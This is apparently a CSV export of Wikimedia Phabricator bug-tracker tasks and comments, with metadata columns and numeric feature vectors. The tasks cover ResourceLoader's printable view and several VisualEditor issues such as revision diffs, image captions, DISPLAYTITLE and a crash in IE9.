+466506,ResourceLoader does not process media queries for printable view with JS-added CSS,"> Given that we should support printing the view page directly, perhaps it makes sense to remove the ""Printable"" mode from MediaWiki? 
+
+{T24256}",,,1433112549,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,99,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0
+466502,ResourceLoader does not process media queries for printable view with JS-added CSS,">>! In T51722#569487, @Mattflaschen wrote:
+> [..]
+> That illustrates that the print styles apply to the current DOM, not the original HTML source.  So even if the JS doesn't run in printable=yes, all the print styles still need to be correct in case they just print directly (without using printable view).
+
+I agree. In fact, I suspect users that print pages would just print directly. It seems counterintuitive to first open a ""Printable version"".
+
+Given that we should support printing the view page directly, perhaps it makes sense to remove the ""Printable"" mode from MediaWiki? The interface to print pages is part of the web browser. Having a control for it seems redundant.
+
+If we want to keep it, we could collect analytics on popularity of printable=yes views in relation to [print events](http://tjvantoll.com/2012/06/15/detecting-print-requests-with-javascript/) (from both printable, and regular mode).",,,1433110472,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,99,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+246611,ResourceLoader does not process media queries for printable view with JS-added CSS,"Not actively working on this, so putting it back in the pool, but I think the original issue holds.  It seems we should either:
+
+1. Pass printable to load.php on printable=yes pages.
+2. Not run JS on printable=yes pages (as Krinkle says was the case earlier).",,,1393371920,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+246605,ResourceLoader does not process media queries for printable view with JS-added CSS,"Change 69276 abandoned by Krinkle:
+ResourceLoader: Pass printable parameter to load.php.
+
+Reason:
+Closing for now.
+
+https://gerrit.wikimedia.org/r/69276",,,1393321150,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+246599,ResourceLoader does not process media queries for printable view with JS-added CSS,"(In reply to comment #2)
+> Which is wrong, those things are not supposed to be loaded on a print page
+> (to avoid e.g. collapsible buttons, ""[show]"", etc.). Though some of those are
+> hidden by CSS, it'd be better for them to not initialise in the first place.
+
+Well, if we do that, we need to find an equally simple way to debug the print CSS.  There are extensions that are supposed to do it (e.g. https://addons.mozilla.org/en-US/firefox/addon/web-developer/), but it shows the screen *and* print styles.  There's probably a good way to do it, just need to find it.
+
+More importantly to the average user, we may want to run some JS on the printable=yes view.  People sometimes read in that view, and there's some stuff that works in that bare-bones mode.
+
+For instance, the reference popups on enwiki (https://en.wikipedia.org/wiki/MediaWiki:Gadget-ReferenceTooltips.js) currently work there, and it seems useful.  You can even get the popup to print with some finagling.
+
+That illustrates that the print styles apply to the current DOM, not the original HTML source.  So even if the JS doesn't run in printable=yes, all the print styles still need to be correct in case they just print directly (without using printable view).",,,1371531290,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+246595,ResourceLoader does not process media queries for printable view with JS-added CSS,"We didn't pass this to the client and on to load.php because printable pages shouldn't run run any load queue.
+
+http://mediawiki.dev/?printable=yes gives me:
+> #top:
+> mw.loader.load([""mediawiki.page.startup"",""mediawiki.legacy.wikibits"",""mediawiki.legacy.ajax""]);
+> #bottom:
+> mw.loader.load([""mediawiki.action.view.postEdit"",""mediawiki.user"",""mediawiki.hidpi"",""mediawiki.page.ready"",""mediawiki.searchSuggest"",""mediawiki.page.watch.ajax"",""ext.vector.collapsibleNav"",""ext.vector.collapsibleTabs"",""ext.visualEditor.viewPageTarget"",""skins.vector.js""],null,true);
+
+
+Which is wrong, those things are not supposed to be loaded on a print page (to avoid e.g. collapsible buttons, ""[show]"", etc.). Though some of those are hidden by CSS, it'd be better for them to not initialise in the first place.
+
+I think this is a regression. If memory serves, not so long ago there were no mw.loader calls on the printable view. Perhaps a change in Skin caused them to be inserted unconditionally?
+
+Either way, if there is no other way around it, then the proposed change is good, but I'd prefer to prevent the client-side loader from being set up in the first place (so only the <link only=styles> will run).",,,1371523555,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1
+246589,ResourceLoader does not process media queries for printable view with JS-added CSS,Related URL: https://gerrit.wikimedia.org/r/69276 (Gerrit Change I691588c39da7fadeac1ca2ace2c1b769fc4e1bd6),,,1371519777,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51692,VisualEditor: Diff is done with current revision instead of old revision when editing an old revision,"When I am editing an old revision of a page and then view the diff before saving it is the diff between the current version of the page and my edited version it seems. I was expecting to see the diff between the old revision and my edited version.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1371475440,1371585157.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-xnegl5h6ucwhzlod3aip,task_description,declined,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+244601,VisualEditor: Diff is done with current revision instead of old revision when editing an old revision,"Oh I wasn't aware the wikitext-editor is doing the same. Then I guess you can close it. It should probably be consistent.
+
+And yes the message could probably be improved.",,,1371542654,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xnegl5h6ucwhzlod3aip,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+244597,VisualEditor: Diff is done with current revision instead of old revision when editing an old revision,"This is the same behaviour as the wikitext editor. :-)
+
+Theoretically we could have diff-against-current and diff-against-starting-point, but that could be a bit messy.
+
+Do you think the message (""review your changes"" in VE against ""review changes"" in wikitext) is confusing and should be changed?",,,1371488556,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xnegl5h6ucwhzlod3aip,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+51680,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","Screenshot
+
+See on https://en.wikipedia.org/wiki/Brainbuster for example, at the bottom - screenshot attached. Reproduced in Chrome, Firefox and Safari.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11473}",Low,25.0,1371464940,1402549729.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-msldrstq5fb4d2d5owxm,task_description,resolved,True,c1,2,False,False,False,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+403739,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly",Seems to be fixed - confirmed in test2/production.,,,1422408680,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,True,,,82,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243661,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly",I believe that this was fixed by Ed's work on this last week.,,,1402549729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+243659,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","(In reply to comment #2)
+> I had wondered whether the fix for bug 54446 would solve this too, but at
+> least in Firefox 24.0 on Linux it is still evident.
+
+Yeah, this is actually a rather more fundamental issue (the ""next"" item from the data model's point of view, if not the user's, is indeed a link). Sorry.",,,1380324768,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,1,1
+243654,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","I had wondered whether the fix for bug 54446 would solve this too, but at least in Firefox 24.0 on Linux it is still evident.",,,1380323919,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+243649,"VisualEditor: Caption of a thumb image starting with a link means link inspector icon appears in slug, confusingly","This only seems to happen with an image at the start of the lead section and seems unaffected by the presence of a template,
+
+Test case: 
+https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=567508072&veaction=edit
+
+Real-world example:
+https://en.wikipedia.org/w/index.php?title=Boden_Professor_of_Sanskrit_election%2C_1860&oldid=567473898&veaction=edit",,,1375863022,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-msldrstq5fb4d2d5owxm,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51667,<title> of editing page doesn't respect DISPLAYTITLE,"See also: T51633, T52341",Low,25.0,1371431700,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oipcbzqxlofc3iyaefws,task_description,open,True,c1,2,True,False,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+431993,<title> of editing page doesn't respect DISPLAYTITLE,See also {T88117},,,1427239342,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,90,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243040,<title> of editing page doesn't respect DISPLAYTITLE,Moving to MW core.,,,1416183397,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+243033,<title> of editing page doesn't respect DISPLAYTITLE,"If I'm right that it's consistent with core, this bug should be moved there.",,,1398979991,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,43,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243029,<title> of editing page doesn't respect DISPLAYTITLE,"I think this is about VE changing the <title> to ""Editing IPod"", which doesn't respect displaytitle? If so, this is consistent with core's behaviour...",,,1398776732,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,3,True,,,43,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+243023,<title> of editing page doesn't respect DISPLAYTITLE,"Current bug summary: ""VisualEditor: Title doesn't respect DISPLAYTITLE"".
+
+I'm not sure what this means. Looking at the links below, I see various issues, but none related to the <h1>. The <title> is a bit weird, but it's weird without VisualEditor as well.
+
+* https://en.wikipedia.org/wiki/IPod?veaction=edit
+* https://test.wikipedia.org/wiki/IPod?veaction=edit
+
+Further clarification (including links) would be helpful here.",,,1371441334,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-oipcbzqxlofc3iyaefws,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+51662,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"Some suggestions of improvements to the media insertion dialog; this is mostly a brain-dump which we might turn into a tracker later:
+
+- a way of accessing the file page, on Commons or elsewhere
+- a more clear highlighting
+- maybe slightly enlarging the image
+- double-click to insert
+- filter by: …
+-* media type
+-* language (mostly specific to audio/video but also maps/diagrams)
+-* length (audio/video)
+-* resolution (image/video)
+-* video bit-depth (image/video)
+-* audio bit-depth (video/audio)
+-* sample rate (audio)
+-* format
+-* licence
+-* local vs. Commons
+
+Notes:
+
+The image size is based on the largest default thumbnail (the dialog asks for the 300x300px image and then shows it at 150x*px size). Changing this would need to have discussions with Ops about load on the image renderers and possibly changing the default sizes globally.
+
+The filtering will have to wait for Solr faceted search, if that's indeed coing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51032",Low,25.0,1371425280,1613688042.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_description,resolved,True,c1,2,True,True,False,-3,,1,0,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+1667911,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"The first part of this is now done by the wonderful Structured Data team's work on #sdaw-mediasearch, which they've now integrated into VisualEditor. The initial work has address the most pressing problem of language; I expect that the faceted search ideas might come later. Thank you!",,,1613688042,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,True,,,398,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0
+242656,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"It makes more sense to combine all the media-related bugs into bug 37870 as a tracker, and use this for its original intent, to be about structured data about files and using that for inserting.",,,1394082888,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,True,,,35,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+242650,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,I'm marking a few other improvement suggestions filed as bugs as blockers so they don't get lost.,,,1377625064,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+242642,VisualEditor: Use Multimedia/Wikidata's proposed rich structured meta-data in the image insertion dialog,"It'd be nice to be able to search only by file name, if you know the title or know that that the file you want has a particular word in its name.  ""Intitle:apple"" cuts the number of images by 70%, which is a big help when there are ~12K files returned on that search.",,,1377191107,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-gk2uxvqxmdwjks3o6oar,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+51497,VisualEditor: Empty annotations which display are hidden as alienMetas,"Per Ed's comment on T50605:
+
+> Above change fixes issue with annotations being dropped, but we still need to fix empty annotations not rendering (e.g. `<span style=""display: block; background: red; width: 100px; height: 100px;""></span>`), either here or in a new bug.
+
+This is the new bug. :-)
+",Low,25.0,1371065040,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cka2ffmhei6ufmfdjpyi,task_description,open,True,c1,2,True,False,,-3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+51464,VisualEditor: VE crash mid-edit in IE9,"**Author:** `and.radiate`
+
+**Description:**
+Using alpha version as of 11JUN13. Did a small edit on Wikipedia English article ""Nagato-class battleship"" (deleting 3 letters from [Japanese] to form [Japan] in second sentence under section 5.1 World War II. Then scrolled down; after originally displayed area scrolled off screen, the screen went black in the TAB.  Other TABs in IE remained operative.  Back arrow did not produce any results on black screen or URL showing for the Wikipedia TAB.  Reloaded http://en.wikipedia.org in TAB with black screen; successfull load and correct operation thereafter.  Could not reproduce the error.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1370999220,1465404791.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-e6ljc4wlzprcqdkdk7fk,task_description,resolved,True,c1,2,False,False,False,-3,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+676329,VisualEditor: VE crash mid-edit in IE9,"No reproduction steps in three years, over which time it's been significantly changed. I'm marking this as Resolved for now.",,,1465404791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e6ljc4wlzprcqdkdk7fk,task_subcomment,,True,c1,3,True,,,153,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+230496,VisualEditor: VE crash mid-edit in IE9,and.radiate: Have you seen this problem again with a more recent VE version?,,,1408109540,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e6ljc4wlzprcqdkdk7fk,task_subcomment,,True,c1,3,True,,,58,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
+51407,"VisualEditor: Font weight is removed from ""article"" tab in Monobook","VisualEditor is removing the font weight from the ""article"" tab when using Monobook on the English Wikipedia.
+
+Steps to reproduce:
+
+* Go to <https://en.wikipedia.org/wiki/Canada_Goose_(clothing)>
+
+* Click ""edit this page"".
+
+* The ""article"" tab loses its boldness.
+
+* Clicking the ""cancel"" button does not restore the boldness.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1370896140,1398881879.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-qf4dixqxm23hinqfnhhq,task_description,resolved,True,c1,2,False,False,False,-3,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+251741,"VisualEditor: Font weight is removed from ""article"" tab in Monobook","Change 130085 merged by jenkins-bot:
+Fix tab selection on monobook
+
+https://gerrit.wikimedia.org/r/130085",,,1398881455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qf4dixqxm23hinqfnhhq,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251732,"VisualEditor: Font weight is removed from ""article"" tab in Monobook","Change 130085 had a related patch set uploaded by Alex Monk:
+Fix tab selection on monobook
+
+https://gerrit.wikimedia.org/r/130085",,,1398699745,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qf4dixqxm23hinqfnhhq,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51316,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"E.g. [[:fr:Foo]] or [[m:Foo]].
+
+--------------------------
+**Version**: unspecified
